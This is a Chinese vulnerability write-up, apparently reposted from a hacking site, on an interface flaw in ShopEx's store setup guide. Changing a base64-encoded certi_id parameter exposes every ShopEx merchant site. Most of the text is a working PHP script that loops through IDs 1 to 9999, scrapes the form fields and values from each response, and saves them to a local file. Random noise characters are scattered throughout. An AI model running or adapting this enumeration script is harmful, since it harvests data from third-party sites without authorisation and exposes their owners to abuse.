ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
6 \1 j8 k/ l& {. Q5 @! ^2 K% ]ShopEx某接口缺陷,可遍历所有网站
# Q/ |5 S6 A- U2 |详细说明：
问题出现在shopex 网店使用向导页面
" {0 Q# @' a) e+ G

+ P$ b1 H, q  u. W7 l; {
& M+ Z- ?* a6 U6 Z  h( P- Shttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
& B" Z' x+ r- F1 h1 g+ c, `
/ E% a  q9 e  h0 }
. k; C$ P9 [  k) e6 u( |
0 H0 |; k8 t* p1 y8 Arefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
4 S% z( {# l. T; E( l) @  `


9 I+ K* v( P4 W0 l我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


8 H; ]' W! g% K: j- V# x% \3 H
<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
: T9 _: c& r. V7 ?! l' e0 ~- T
4 M# p/ P3 h6 u, ^" i* `                }

) v8 y6 D5 f& R+ \9 c                function ShowshopExD($cid) {

- ^4 x. k, R* S- c  `% E                $url='http://guide.ecos.shopex.cn/step2.php';

: n( A: y: }7 j* A) Z                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

# g9 z9 O8 i1 G2 z        $url = $url.'?refer='.$refer;

9 ]& i" g( p& W& P# A        $ch = curl_init($url);
/ n* f8 U# r& W7 K( p. {
; Z! ^4 y3 c2 S: H2 v        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

( \& b' A7 P( o        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

3 f: q! z) e* R        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
; j6 R: ]" |) F! W* [6 y
. }! W& A0 U1 U        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

8 d+ D$ v: V1 E! _+ P  V# ?3 I* K                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
' l& A5 `6 V  s6 R. Z( _5 m0 S+ z
9 C. q) E: w6 X6 ~                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

( h4 n+ ]/ Z( Q& x  F) S                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

                }

9 S" T/ G3 r( J9 D                echo '--------------------------------'."\r\n";

                fclose($fp);
# S+ i2 h* X7 v# p% N% O3 o
+ _. z2 J& S7 h) n2 Z0 B/ k9 _        }

        flush();

        curl_close($ch);

                }

5 v7 r) N% x9 ^; d0 d0 x, \?>
6 ?2 c8 ^6 G6 K3 R漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式